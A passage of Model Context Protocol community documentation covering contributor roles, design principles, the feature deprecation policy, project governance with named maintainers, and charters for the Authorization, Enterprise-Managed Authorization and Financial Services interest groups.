| Security issue | Core Maintainer | Lead Maintainer | Immediate |
**Escalation process:**
1. Document the decision, the options considered, and the points of disagreement
2. Present to the escalation authority with a clear ask
3. The escalation authority either (a) provides binding guidance, (b) requests more information, or (c) escalates further if needed
***
## Contribution Pathways
MCP values diverse contributions. All of these pathways can lead to advancement.
**Code Contributions.** SDK development (TypeScript, Python, etc.), testing infrastructure, tooling and developer experience.
**Specification Work.** Drafting or refining spec text, [SEP](/community/sep-guidelines) authorship or co-authorship, protocol design participation, compatibility analysis.
**Documentation.** User guides and tutorials, API documentation, architecture documentation, keeping content current.
**Community Building.** Onboarding new contributors, working group facilitation, community support (Discord, GitHub discussions), event organization or representation.
**Quality and Security.** Bug triage and reproduction, security review and analysis, test coverage improvement, release validation.
***
## Stepping Down and Emeritus Status
Contributors may step down from roles for any reason. This is normal and healthy.
**Process:**
1. Notify relevant leadership (WG Lead, IG Facilitator, Maintainer, or Core Maintainer as appropriate)
2. Help transition any ongoing work
3. Move to emeritus status
**Emeritus status:**
* Recognized for past contributions
* May return to active status with abbreviated re-onboarding
* No ongoing responsibilities or privileges
**Involuntary Removal.** Roles may be revoked for code of conduct violations or sustained non-participation. Removal follows appropriate review processes.
***
## Recognition and Visibility
The community recognizes contributors through:
* **Contributor lists** such as `MAINTAINERS.md`
* **GitHub teams** for appropriate access
* **Public acknowledgment** in release notes
* **Speaking opportunities** at community events
* **Badges** (if implemented) on community platforms
# Design Principles
Source: https://modelcontextprotocol.io/community/design-principles
The core design principles that guide the development of the Model Context Protocol.
These principles guide how we evaluate protocol proposals, weigh tradeoffs, and evolve MCP. They reflect lessons from building and maintaining the project. They are meant as guidance by and for the community when developing [Spec Enhancement Proposals](/community/sep-guidelines) (SEPs) and [extensions](/extensions/overview).
## Convergence over choice
There should be one way to solve a problem in MCP. Rather than supporting multiple approaches that fragment the ecosystem, we choose a single well-designed path — accepting harder decisions upfront to deliver a more cohesive protocol.
[Extensions](/extensions/overview) are where convergence gets tested; the specification is where it gets committed.
## Composability over specificity
MCP provides foundational primitives: resources, tools, and prompts. We don't add protocol features for use cases that can be constructed from these existing building blocks. This keeps the surface area small and implementations simple.
When someone asks why MCP doesn't support a feature directly, the answer is usually that it can be built from what MCP already provides. Extensions like [MCP Apps](/extensions/apps/overview) and [Tasks](/extensions/tasks/overview) capture the patterns that emerge.
## Interoperability over optimization
MCP runs across clients, servers, and models of widely varying sophistication. We favor features that degrade gracefully over those that only work when every participant is equally capable. Capability negotiation makes this concrete: participants declare what they support, and the protocol adapts rather than assumes.
## Stability over velocity
Adding to a protocol as widely adopted as MCP is easy. Removing from it is nearly impossible. Every addition is a permanent commitment and a cost for client implementers to support. We move deliberately, knowing that "no" today leaves the door open while "yes" closes it forever.
Contributors accustomed to rapid shipping may find this pace frustrating, but sustainable standards require sustainable decision-making. We optimize for decades, not quarters.
## Capability over compensation
Models improve faster than protocols evolve. We avoid adding permanent structure to work around limitations that are likely temporary — the limitation fades, but the complexity remains.
This is not license to ignore today's reality. Optional context that weaker models lean on and stronger ones ignore costs nothing. But when a proposal exists primarily because current models struggle without it, we ask whether they will outgrow the need before we can shed the weight.
## Demonstration over deliberation
MCP values working implementations over theoretical debates. When evaluating proposals, we prioritize evidence from real usage over hypothetical arguments. We encourage contributors to prototype, experiment, and demonstrate rather than design by committee. Implementation reveals what discussion cannot.
## Pragmatism over purity
MCP makes practical tradeoffs in service of adoption and usability. We don't pursue theoretical elegance at the cost of real-world utility. When a "correct" design creates friction for implementers, we consider whether a "good enough" design better serves the ecosystem. This means accepting some inconsistency, some historical accidents, and some decisions we might make differently with hindsight.
## Standardization over innovation
MCP standardizes patterns that have already proven valuable. We look for conventions that work across multiple implementations and codify them, rather than inventing new paradigms and hoping they'll be adopted.
We encourage the use of [MCP extensions](/extensions/overview) as a way to experiment with new patterns that may eventually lead to standardization.
# Feature Lifecycle and Deprecation Policy
Source: https://modelcontextprotocol.io/community/feature-lifecycle
How individual MCP specification features move through Active, Deprecated, and Removed states, and the timeline implementers can plan against.
This policy defines a lifecycle for individual features within the Model
Context Protocol specification. It defines three feature states (Active,
Deprecated, Removed), the criteria and procedure for moving between them, a
minimum window between deprecation and removal, and the documentation required
at each transition.
This policy was adopted via
[SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596).
## Scope
This policy governs **features** of the MCP core specification: protocol
messages, capabilities, transports, schema types, and normative behavioral
requirements. The revision lifecycle of the specification document itself
(Draft, Current, Final) is defined in the [versioning guide](/docs/learn/versioning).
## Feature States
A specification feature is in exactly one of three states:
| State | Meaning | Implementer expectation |
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| **Active** | The feature is part of the Current specification revision. | Implement per the feature's normative requirements. |
| **Deprecated** | The feature remains in the specification but is scheduled for removal. A migration path is documented (see below). | New implementations should not adopt the feature. Existing implementations should migrate before the earliest removal date. |
| **Removed** | The feature has been deleted from `draft` and will be absent from the next Current revision. It remains documented in the Final revision it last appeared in. | Implementations targeting that next Current revision must not depend on the feature. |
A Deprecated feature MAY be restored to Active by a SEP that supersedes the
deprecation SEP and documents the changed circumstances. Restoration follows
the same approval path as deprecation. If the feature is later deprecated
again, the minimum deprecation window in
[Deprecating a feature](#deprecating-a-feature) is measured afresh from the
revision in which the new deprecation takes effect.
### SDKs
Removal from the specification does not oblige an SDK to drop the feature from
releases. That timeline is governed by the SDK's own revision-support policy.
## Deprecating a Feature
A feature may be proposed for deprecation when:
* it has been superseded by another feature that covers the same use cases,
* it presents a security, privacy, or interoperability risk that cannot be
mitigated in place,
* ecosystem telemetry or SDK maintainer consensus indicates negligible adoption
relative to its maintenance cost,
* or any other reasons the Core Maintainers deem appropriate.
Deprecation is a specification change and therefore requires a SEP per the
[SEP guidelines](/community/sep-guidelines). The deprecation SEP must:
1. Identify the feature by name and link to its definition in `schema.ts`
(where applicable) and the specification prose.
2. State the rationale against the criteria above.
3. Document the migration path, or state explicitly that none is required. If
the migration path names a replacement feature, that feature must be Active
in the revision in which the deprecation takes effect; the replacement and
the deprecation may land in the same revision.
4. Specify the **minimum deprecation window**: the number of months, at least
twelve, that the feature must remain Deprecated before it is eligible for
removal. The window is measured from the release of the specification
revision in which the feature is first marked Deprecated, not from the date
the SEP reaches Final. The feature becomes eligible for removal in the first
specification revision released as Current on or after the window elapses;
that point is the feature's **earliest removal**.
When the deprecation SEP is accepted and reaches Final, the deprecation is scheduled.
* The feature's entry in `schema.ts` gains a `@deprecated` JSDoc tag
referencing the deprecation SEP and the revision in which the deprecation
takes effect.
* The specification prose for the feature gains a deprecation notice with the
same information.
* The `changelog.mdx` for that revision gains an entry under a "Deprecated"
heading. "Deprecated" and "Removed" are standing changelog headings alongside
the existing Major/Minor/Other groupings.
* The feature is added to the
[deprecated registry](#the-deprecated-registry) with its deprecation SEP, the
revision in which it became Deprecated, its migration path, and its earliest
removal.
The feature becomes Deprecated when the revision carrying these changes is released
and becomes the new Current revision (see [versioning guide](/docs/learn/versioning)).
The minimum deprecation window is counted from that release.
## The Deprecated Registry
[`docs/specification/draft/deprecated.mdx`](/specification/draft/deprecated) is
a single page listing every feature in a Deprecated or Removed state. It is
the canonical answer to "what is on its way out, and by when," so that an
implementer does not have to reconstruct that picture from deprecation entries
spread across revision changelogs.
## Tier 1 SDK Obligations
Once the revision in which a feature becomes Deprecated is
released as Current, Tier 1 SDKs:
* Must mark the corresponding API surface deprecated using the language's
native mechanism (for example `@Deprecated` in Java, `[Obsolete]` in .NET,
`@deprecated` JSDoc in TypeScript, the `Deprecated:` doc convention in Go) in
their next release, referencing the deprecation SEP and the earliest removal
date where the mechanism permits.
* Should emit a runtime warning when a deprecated feature is exercised, using
the language's idiomatic mechanism (for example Python's
`DeprecationWarning`, Node.js's `process.emitWarning`, or a configurable
logger).
A Tier 1 SDK that consistently fails to surface a Deprecated feature is subject to the
[Tier Relegation Process](/community/sdk-tiers#tier-relegation).
## Removing a Feature
1. Once a feature is set for removal, the removal is executed at the discretion
of the Core Maintainers after the minimum deprecation window has elapsed.
2. The removal needs to be documented in the `changelog.mdx` and [registry](#the-deprecated-registry).
3. A SEP is required for any change to the original deprecation or removal SEP, for
example extending or shortening the timeline
([Expedited removal](#expedited-removal)) or restoring the feature to Active
([Feature states](#feature-states)).
Features may remain Deprecated, without removal, for much longer than the minimum deprecation window.
## Expedited Removal
The twelve-month floor may be shortened when the feature presents an active
security risk, meaning a vulnerability with a published security advisory or
documented in-the-wild exploitation for which no in-place mitigation exists.
Shortening the window requires Core Maintainer approval under the
[governance decision process](/community/governance#decision-process), recorded
in the deprecation SEP or, where the risk surfaces after that SEP is already
Final, in a short expedited-removal SEP that references it. The shortened
window must still provide at least ninety days between the feature becoming
Deprecated and its earliest removal.
## Roles
| Action | Who |
| ---------------------------------------------- | ----------------------------------------------------------------------------------------------- |
| Propose deprecation, extension, or restoration | Any contributor, per the SEP process |
| Sponsor | A Maintainer or Core Maintainer, per the SEP process |
| Approve a deprecation SEP | Core Maintainers, per the [governance decision process](/community/governance#decision-process) |
| Decide a removal during release preparation | Core Maintainers, per the [governance decision process](/community/governance#decision-process) |
| Approve an extension or restoration SEP | Core Maintainers, per the [governance decision process](/community/governance#decision-process) |
| Approve expedited removal | Core Maintainers, per the [governance decision process](/community/governance#decision-process) |
Lead Maintainers retain veto authority over each of the approvals
above, per the [governance roles](/community/governance#roles) definition.
# Governance and Stewardship
Source: https://modelcontextprotocol.io/community/governance
Learn about the Model Context Protocol's governance structure and how to participate in the community
The Model Context Protocol (MCP) follows a formal governance model to ensure transparent decision-making and community participation. This document outlines how the project is organized and how decisions are made.
## General Project Policies
Model Context Protocol has been established as **Model Context Protocol a Series of LF Projects, LLC**. Policies applicable to Model Context Protocol and participants in Model Context Protocol, including guidelines on the usage of trademarks, are located at [https://www.lfprojects.org/policies/](https://www.lfprojects.org/policies/). Governance changes approved as per the provisions of this governance document must also be approved by LF Projects, LLC.
Model Context Protocol participants acknowledge that the copyright in all new contributions will be retained by the copyright holder as independent works of authorship and that no contributor or copyright holder will be required to assign copyrights to the project.
Except as described below, all code and specification contributions to the project must be made using the Apache License, Version 2.0 (available here: [https://www.apache.org/licenses/LICENSE-2.0](https://www.apache.org/licenses/LICENSE-2.0)) (the "Project License").
All outbound code and specifications will be made available under the Project License. The Core Maintainers may approve the use of an alternative open license or licenses for inbound or outbound contributions on an exception basis.
All documentation (excluding specifications) will be made available under Creative Commons Attribution 4.0 International license, available at: [https://creativecommons.org/licenses/by/4.0](https://creativecommons.org/licenses/by/4.0).
## Technical Governance
The MCP project adopts a hierarchical structure, similar to Python, PyTorch, and other open source projects:
| Role | Scope |
| --------------------------- | -------------------------------- |
| **Lead Maintainers (BDFL)** | Final decision authority |
| **Core Maintainers** | Overall project direction |
| **Maintainers** | Working Groups, SDKs, components |
| **Contributors** | Issues, PRs, discussions |
* **Contributors** file issues, make pull requests, and contribute to the project.
* **Maintainers** drive components within the MCP project, such as SDKs, documentation, and Working Groups.
* **Core Maintainers** drive the overall project direction and oversee contributors and maintainers.
* **Lead Maintainers** are the final decision makers (also known as BDFL - Benevolent Dictator for Life).
Together, Maintainers, Core Maintainers, and Lead Maintainers form the **MCP Steering Group**.
All maintainers are expected to have a strong bias towards MCP's design philosophy. Membership in the technical governance process is for individuals, not companies. That is, there are no seats reserved for specific companies, and membership is associated with the person rather than the company employing that person.
### Communication Channels
Technical governance is facilitated through a shared [Discord server](https://discord.gg/6CSzBmMkjX) for all maintainers. Each maintainer group can choose additional communication channels, but all decisions and their supporting discussions must be recorded and made transparently available on the Discord server.
### Roles
The [Contributor Ladder](/community/contributor-ladder) is the canonical definition of each role — its requirements, responsibilities, privileges, advancement process, and inactivity policy. This section gives a conceptual overview of how the roles relate to governance.
**Maintainers** steward specific areas such as SDKs, documentation, or [Working Groups](/community/working-interest-groups). They make decisions for their area independently and escalate to Core Maintainers when needed. Maintainers have write access to their respective repositories.
**Core Maintainers** steer the MCP specification and overall project direction. They can veto Maintainer decisions by majority vote, resolve disputes, and appoint or remove Maintainers. Core Maintainers have admin access to all MCP repositories but use the same pull-request workflow as outside contributors.
**Lead Maintainers** hold final authority and can veto any decision by Core Maintainers or Maintainers — the role commonly known as Benevolent Dictator for Life (BDFL). Lead Maintainers appoint and remove Core Maintainers, and are administrators on all project infrastructure. They are part of the Core Maintainer group and are expected to publicly articulate their reasoning.
The [Contributor Ladder](/community/contributor-ladder) also defines the **Member** and **Community Moderator** roles, which sit outside the Steering Group.
### Decision Process
The Core Maintainer group meets every two weeks to discuss and vote on proposals, as well as discuss any topics needed. The shared Discord server can be used to discuss and vote on smaller proposals if needed.
The Lead Maintainer, Core Maintainer, and Maintainer group should attempt to meet in person every three to six months.
## Processes
Core Maintainers and Lead Maintainers are responsible for all aspects of Model Context Protocol, including documentation, issues, suggestions for content, and all other parts under the [MCP project](https://github.com/modelcontextprotocol). Maintainers are responsible for documentation, issues, and suggestions of content for their area of the MCP project, but are encouraged to partake in general maintenance of the MCP projects.
Maintainers, Core Maintainers, and Lead Maintainers should use the same contribution process as external contributors, rather than making direct changes to repos. This provides insight into intent and opportunity for discussion.
### Working Groups and Interest Groups
MCP collaboration and contributions are organized around two structures: [Working Groups and Interest Groups](/community/working-interest-groups).
* **Interest Groups** identify and articulate problems that MCP should address through open discussions
* **Working Groups** develop concrete solutions by producing deliverables like SEPs or implementations
For details on how to create, participate in, and facilitate these groups, see the [Working and Interest Groups](/community/working-interest-groups) documentation.
### Specification Enhancement Proposals (SEPs)
Proposed changes to the specification must be submitted as [Specification Enhancement Proposals (SEPs)](/community/sep-guidelines). SEPs are the primary mechanism for proposing major new features, collecting community input, and documenting design decisions.
For the complete SEP process, format requirements, and status workflow, see the [SEP Guidelines](/community/sep-guidelines).
### Maintenance Responsibilities
Components without dedicated maintainers (such as documentation) fall under Core Maintainer responsibility. These follow standard contribution guidelines through pull requests, with maintainers handling reviews and escalating to Core Maintainer review for any significant changes.
Core Maintainers and Maintainers are encouraged to improve any part of the MCP project, regardless of formal maintenance assignments.
## Communication
### Core Maintainer Meetings
The Core Maintainer group meets on a bi-weekly basis to discuss proposals and the project. Notes on proposals should be made public. The Core Maintainer group will strive to meet in person every 3-6 months.
### Public Chat
The MCP project maintains a [public Discord server](https://discord.gg/6CSzBmMkjX) with open chats for interest groups. The MCP project may have private channels for certain communications.
## Nominating, Confirming, and Removing Maintainers
Membership in maintainer groups is given to **individuals** on a merit basis after demonstrated expertise and alignment with MCP's direction. Membership is associated with the person, not their employer, and has no term limit.
The nomination process, sponsorship requirements, review timeline, and inactivity criteria for each role are defined in the [Contributor Ladder's Advancement Process](/community/contributor-ladder#advancement-process).
## Current Lead Maintainers
* David Soria Parra
* Den Delimarsky
## Current Core Maintainers
* Peter Alexander
* Caitie McCaffrey
* Kurtis Van Gent
* Clare Liguori
* Paul Carleton
* Nick Cooper
## Emeritus
* Justin Spahr-Summers (Co-Inventor, Lead Maintainer Emeritus)
* Basil Hosmer (Core Maintainer Emeritus)
* Che Liu (Core Maintainer Emeritus)
* Nick Aldridge (Core Maintainer Emeritus)
## Current Maintainers and Working Groups
Refer to [the maintainer list](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md).
# Authorization Charter
Source: https://modelcontextprotocol.io/community/interest-groups/auth
Charter for the MCP Authorization Interest Group.
## Group Type
**Interest Group**
## Mission Statement
The Authorization Interest Group provides a venue for MCP implementers, identity-provider vendors, and security practitioners to surface real-world authorization challenges encountered when deploying MCP clients and servers. The group gathers use cases, documents gaps in the current OAuth 2.1–based authorization specification, and incubates validated problems until they are scoped well enough to propose a focused Working Group via the standard [group-creation process](/community/working-interest-groups#creating-a-working-group) to drive the corresponding [SEPs](/community/sep-guidelines).
## Scope
### In Scope
* **Deployment experience reports**: how implementers have integrated the current authorization spec (OAuth 2.1, [RFC 9728](https://www.rfc-editor.org/rfc/rfc9728) Protected Resource Metadata, [RFC 7591](https://www.rfc-editor.org/rfc/rfc7591) Dynamic Client Registration, Client ID Metadata Documents) with real authorization servers, and where it falls short
* **Enterprise identity integration**: requirements and friction points when connecting MCP servers to enterprise IdPs (Okta, Entra ID, Ping, Keycloak, etc.), including SSO, tenant isolation, and admin consent flows
* **Delegated and agentic access**: use cases for on-behalf-of token exchange, downstream resource access, audience restriction, and consent when an MCP client acts through chains of agents or tools
* **Scope and permission granularity**: whether and how MCP servers should advertise fine-grained scopes (per-tool, per-resource) and how clients should request and present them
* **Credentials for non-HTTP transports**: patterns for stdio, WebSocket, and future transports where the HTTP authorization spec does not directly apply
* **Client identity and registration**: operator experience with Dynamic Client Registration, Client ID Metadata Documents, software statements, and pre-registered clients
* **Threat modelling input**: cataloguing authorization-related attack surfaces (token confusion, confused-deputy, audience mismatch, redirect handling) to inform Security Best Practices documentation
* **Proposing Working Groups**: once a problem is validated and scoped, the IG submits a Working Group creation proposal via the standard `#wg-ig-group-creation` process; approval remains with community moderators and core maintainers
* **Problem statements and requirements**: use-case catalogues and recommendations published to GitHub Discussions for consumption by SEP authors and Working Groups
### Out of Scope
* **Authentication of end users to MCP clients**: how a host application authenticates its own users is a host concern, not a protocol concern
* **Transport security (TLS, mTLS, certificate handling)**: belongs to the Transports WG
* **Server identity, provenance, and trust signalling**: belongs to the Server Card / Registry efforts
* **End-user product configuration walk-throughs**: the IG discusses patterns, not step-by-step setup for individual IdP products. Vendor-reported constraints on what an authorization server can or cannot implement *are* in scope as deployment experience
* **Competitively sensitive or non-public business information**, per the [MCP Antitrust Policy](/community/antitrust)
### Related Groups
* **[Enterprise-Managed Authorization IG](/community/interest-groups/enterprise-managed-authorization)**: coordinates IdP, client, and server interoperability testing for the EMA extension produced by the Profiles WG; spec-change requests surfaced there are routed back to this group
* **Transports WG**: authorization is currently specified at the HTTP transport level; changes to transports affect where credentials are carried
* **Agents WG**: delegated/on-behalf-of access and consent for multi-agent chains overlap heavily with agentic use cases
* **[Server Card WG](/community/working-groups/server-card) / [Registry](/community/working-groups/registry)**: client and server identity, discovery metadata, and trust establishment intersect with how authorization servers and resource servers are located and verified
* **SDK Maintainers**: SDKs ship the auth client implementations; IG findings should inform cross-SDK auth ergonomics
## Leadership
| Role | Name | Organization | GitHub | Term |
| ----------- | ------------- | ------------ | ------------------------------------------ | ------- |
| Facilitator | Aaron Parecki | Okta | [@aaronpk](https://github.com/aaronpk) | Initial |
| Facilitator | Darin McAdams | Amazon | [@D-McAdams](https://github.com/D-McAdams) | Initial |
| Facilitator | Paul Carleton | Anthropic | [@pcarleton](https://github.com/pcarleton) | Initial |
## Membership
Open to anyone; no formal membership or approval step is required to join the channel, attend calls, or contribute.
Join the `#auth-ig` channel on the [MCP Contributors Discord](/community/communication#discord) or open a thread in the Authorization category of [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions). If your topic clearly matches one of the Working Groups in the table below, you can post directly in that WG's channel. Calls are open and attendance is optional — async participation via Discord and GitHub is equally valued.
## Operations
| Meeting | Frequency | Duration | Purpose |
| --------------- | ------------- | -------- | ---------------------------------------------------------------------------- |
| Discussion Call | Every 2 weeks | 45 min | Use-case sharing, problem triage, WG proposal decisions, implementer reports |
Discord: [#auth-ig](https://discord.com/channels/1358869848138059966/1360835991749001368)
### Working Group Incubation
A topic graduates to a Working Group proposal when it has a written problem statement in GitHub Discussions and rough consensus on a bi-weekly call (recorded in published notes). A facilitator then files the standard WG creation template in `#wg-ig-group-creation`, citing that discussion. The IG's role ends at the proposal; approval remains with community moderators and core maintainers.
## Deliverables & Success Metrics
The IG incubates problems until they are well-scoped, then proposes focused Working Groups to drive specific SEPs. Each spawned WG maintains its own charter; this list is a directory, not a substitute. The IG stewards [modelcontextprotocol/ext-auth](https://github.com/modelcontextprotocol/ext-auth), where individual WGs land authorization extension specifications via PR.
| Working Group | Discord | Focus | Status | Charter |
| -------------------------- | ------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------- | ------- |
| Client Registration | `#auth-wg-client-registration` | Dynamic Client Registration, Client ID Metadata Documents, software statements, and pre-registered client workflows | Completed | — |
| Mix-up Protection | `#auth-wg-mixup-protection` | Mitigating OAuth authorization-server mix-up and token-audience confusion attacks | Completed | — |
| Profiles | `#auth-wg-profiles` | Extension specifications for additional grant types and token-binding mechanisms (Client Credentials, Enterprise-Managed Authorization, DPoP, Workload Identity Federation) | Completed | — |
| Tool Scopes | `#auth-wg-tool-scopes` | Per-tool OAuth scope advertisement, step-up authorization / scope challenge, and client-side scope accumulation — mechanics within the OAuth scope-string model | Active | Pending |
| Fine-Grained Authorization | `#auth-wg-fine-grained-authz` | Authorization granularity beyond scope strings — Rich Authorization Requests ([RFC 9396](https://www.rfc-editor.org/rfc/rfc9396)), remediation hints, and multi-credential handling | Active | Pending |
| Improve DevX | `#auth-wg-improve-devx` | Best-practices guidance and tutorials for building secure MCP clients and servers, beyond the normative spec | Completed | — |
## Changelog
| Date | Change |
| ---------- | --------------- |
| 2026-06-02 | Initial charter |
# Enterprise-Managed Authorization Charter
Source: https://modelcontextprotocol.io/community/interest-groups/enterprise-managed-authorization
Charter for the MCP Enterprise-Managed Authorization Interest Group.
## Group Type
**Interest Group**
## Mission Statement
The Enterprise-Managed Authorization Interest Group provides a venue for identity-provider vendors, MCP client implementers, and MCP server operators to coordinate on real-world adoption of the [Enterprise-Managed Authorization extension](/extensions/auth/enterprise-managed-authorization) (`io.modelcontextprotocol/enterprise-managed-authorization`). The extension's ID-JAG flow only delivers value when an enterprise IdP, an MCP client, and an MCP server's authorization server all interoperate end to end — this group exists to gather deployment experience, surface compatibility gaps between independent implementations, and feed validated problems back to the [Authorization IG](/community/interest-groups/auth) and the [ext-auth](https://github.com/modelcontextprotocol/ext-auth) specification.
## Scope
### In Scope
* **Interoperability reports**: documented results of pairing specific IdPs, MCP clients, and MCP authorization servers through the full ID-JAG exchange, including what worked, what required workarounds, and what failed
* **Conformance scenario input**: identifying the assertions an EMA conformance suite should make (ID-JAG validation, audience and issuer checks, claim mapping, account linking, error handling) and contributing scenarios to the [conformance](https://github.com/modelcontextprotocol/conformance) repository
* **Deployment patterns**: comparing notes on tenant isolation, admin-consent flows, JIT provisioning, claim-to-permission mapping, and token-lifetime choices observed in production rollouts
* **IdP capability gaps**: cataloguing where existing IdP products cannot yet issue or validate ID-JAGs as specified, so implementers know what to expect and IdP vendors have a shared backlog
* **Spec clarification requests**: collecting ambiguities and underspecified behaviour discovered during implementation and routing them to the [ext-auth](https://github.com/modelcontextprotocol/ext-auth) repository as issues or PRs
### Out of Scope
* **Other authorization profiles**: Client Credentials, DPoP, Workload Identity Federation, and the core OAuth 2.1 flow belong to the [Authorization IG](/community/interest-groups/auth)
* **General enterprise deployment topics**: networking, packaging, and host-application rollout concerns that are not specific to the ID-JAG flow
* **End-user product configuration walk-throughs**: the IG discusses patterns, not step-by-step setup for individual IdP or client products. Vendor-reported constraints on what an IdP can or cannot implement *are* in scope as deployment experience
* **Competitively sensitive or non-public business information**, per the [MCP Antitrust Policy](/community/antitrust)
### Related Groups
* **[Authorization IG](/community/interest-groups/auth)**: parent group for all MCP authorization work; EMA spec changes are incubated there and this IG's findings feed its agenda
* **[Security IG](/community/interest-groups/security)**: token-audience confusion, issuer validation, and account-linking risks in the ID-JAG flow sit at the boundary between the two groups
* **SDK Maintainers**: SDKs ship the EMA client implementation; interop findings inform cross-SDK behaviour and defaults
## Leadership
| Role | Name | Organization | GitHub | Term |
| ----------- | ------------- | ------------ | ------------------------------------------ | ------- |
| Facilitator | Paul Carleton | Anthropic | [@pcarleton](https://github.com/pcarleton) | Initial |
| Facilitator | Aaron Parecki | Okta | [@aaronpk](https://github.com/aaronpk) | Initial |
Sponsored by Den Delimarsky ([@localden](https://github.com/localden), Lead Maintainer).
## Membership
Open to anyone; no formal membership or approval step is required to join the channel, attend calls, or contribute. The group particularly seeks participants from enterprise IdP vendors, MCP client implementers shipping EMA support, and MCP server operators integrating with an enterprise IdP.
Join the `#enterprise-managed-auth-ig` channel on the [MCP Contributors Discord](/community/communication#discord) or open a thread in the Authorization category of [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions). Calls are open and attendance is optional — async participation via Discord and GitHub is equally valued.
## Operations
| Meeting | Frequency | Duration | Purpose |
| ------------ | ------------- | -------- | --------------------------------------------------------------------- |
| Interop Call | Every 2 weeks | 45 min | Deployment reports, compatibility-matrix review, spec-feedback triage |
An agenda is shared in `#enterprise-managed-auth-ig` ahead of each call. Meeting notes are posted to the Authorization category in [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions).
Discord: [#enterprise-managed-auth-ig](https://discord.com/channels/1358869848138059966/1516754292294287360) · [invite](https://discord.gg/xw55W9Sw5s)
## Changelog
| Date | Change |
| ---------- | --------------- |
| 2026-06-16 | Initial charter |
# Financial Services Charter
Source: https://modelcontextprotocol.io/community/interest-groups/financial-services
Charter for the MCP Financial Services Interest Group.
## Group Type
**Interest Group**
## Mission Statement
The Financial Services Interest Group brings together stakeholders from regulated financial
institutions to identify where MCP needs to adapt for compliance, auditability, and risk-controlled
deployment. It gathers use cases and requirements from the financial sector, develops and validates
domain-specific extensions, and scopes problems with broad applicability into [SEPs](/community/sep-guidelines)
or Working Groups so that innovations proven in regulated environments can benefit the wider MCP
ecosystem.
## Scope
### In Scope
* **Compliance and auditability**: requirements for tamper-evident, portable records of what a tool
call did, under what authority, and against which policy, so that MCP interactions can satisfy
regulatory audit and incident-review obligations
* **Data lineage and provenance**: source attribution, citation, and consent metadata for data
surfaced through MCP, so that downstream consumers can establish where information came from and
on what basis it may be used
* **Guardrails and attestation**: verification frameworks and cryptographic attestations that let a
regulated institution gain assurance about server identity, tool behavior, and the integrity of
responses before acting on them
* **Policy enforcement**: declarative policies for tool usage and data handling, and the points at
which they are enforced, so that institutions can encode regulatory and internal-control
constraints as machine-checkable rules
* **Finance-specific extensions**: developing, maintaining, and gathering implementation experience
on MCP extensions that address the above in the FSIG repository, including reference
implementations and conformance testing
* **Interoperability across institutions**: common patterns and standards that allow regulated
institutions to interoperate without each reinventing compliance plumbing
* **SEP promotion**: identifying extensions with applicability beyond financial services and
shepherding them toward the core specification with core-maintainer sponsorship
* **Regulatory liaison**: translating constraints from regulators and industry bodies into concrete
technical requirements and input for other groups
### Out of Scope
* **Competitively sensitive or non-public business information**: pricing, costs, margins, customer
lists, market segmentation, and competitive strategy, per the [MCP Antitrust Policy](/community/antitrust)
* **General security threat modeling**: MCP-wide attack-surface analysis belongs to the
[Security IG](/community/interest-groups/security). This group provides financial-sector requirements as
input and consumes its threat models
* **Authorization protocol mechanics**: OAuth flows, scopes, client registration, and token handling
belong to the [Authorization IG](/community/interest-groups/auth)
* **Product-specific compliance guides**: step-by-step configuration for an individual host
application, cloud platform, or institution is documentation for that product rather than protocol
work
* **Non-technical business discussions**: legal interpretation, procurement, and commercial terms
### Related Groups
* **[Security IG](/community/interest-groups/security)**: attestation, auditability, and guardrails are
shared concerns; the FSIG supplies regulated-deployment requirements and consumes the IG's threat
models
* **[Authorization IG](/community/interest-groups/auth)**: identity and access control for sensitive
financial data sit at the boundary between the two groups
* **[Tool Annotations IG](/community/interest-groups/tool-annotations)**: trust and sensitivity annotations
are directly relevant to financial tool exposure; the FSIG provides requirements as input
* **[Interceptors WG](/community/working-groups/interceptors)**: interceptors are a primary enforcement point
for the policy and guardrail requirements surfaced here
* **[Registry WG](/community/working-groups/registry)**: server provenance and publishing metadata intersect
with financial supply-chain and admission concerns
## Leadership
| Role | Name | Organization | GitHub | Term |
| ----------- | ------------------------ | ------------ | -------------------------------------- | ------- |
| Facilitator | Sambhav Kothari | Bloomberg | [@sambhav](https://github.com/sambhav) | Initial |
| Facilitator | Peder Holdgaard Pedersen | Saxo Bank | [@PederHP](https://github.com/PederHP) | Initial |
## Membership
| Name | Organization | GitHub | Discord | Level |
| ---------- | ------------ | ------------------------------------ | ------- | ----------- |
| Xin Fu | Bloomberg | [@imfing](https://github.com/imfing) | *TBD* | Participant |
| Kengo Arao | Bloomberg | [@KengoA](https://github.com/KengoA) | *TBD* | Participant |
Open to anyone. Join the `#financial-services-ig` channel on the
[MCP Contributors Discord](/community/communication#discord). Calls are open and no approval is
required to attend or contribute. The group especially welcomes contributors from regulated
institutions who can bring real-world deployment constraints and help drive proposals forward.
## Operations
| Meeting | Frequency | Duration | Purpose |
| --------------- | ------------- | -------- | --------------------------------------------------------- |
| Working Session | Every 2 weeks | 60 min | Use-case review, extension and proposal work, SEP scoping |
Meetings are held 16:00–17:00 London (BST/GMT). An agenda is shared in `#financial-services-ig`
ahead of each call, and notes with decisions and action items are published afterwards.
Discord: [#financial-services-ig](https://discord.gg/NzkBHsrGf)
## Discussion Topics
The following items form the IG's current agenda. This list is not exhaustive and will evolve as the
group identifies new areas of interest.
| Item | Name | Status | Champion |
| ---- | ----------------------------------------------------------------------------- | ------ | -------- |
| — | Regulatory audit & attestation: portable, verifiable event/claim models | Open | — |
| — | Data lineage & citation: provenance, consent metadata, source attribution | Open | — |
| — | Guardrails & security: verification frameworks and cryptographic attestations | Open | — |
| — | Policy enforcement: declarative policies for tool usage and data handling | Open | — |
## Changelog
| Date | Change |
| ---------- | --------------- |
| 2026-06-25 | Initial charter |
# Primitive Grouping Charter
Source: https://modelcontextprotocol.io/community/interest-groups/primitive-grouping
Charter for the MCP Primitive Grouping Interest Group.
## Group Type
**Interest Group**
## Mission Statement
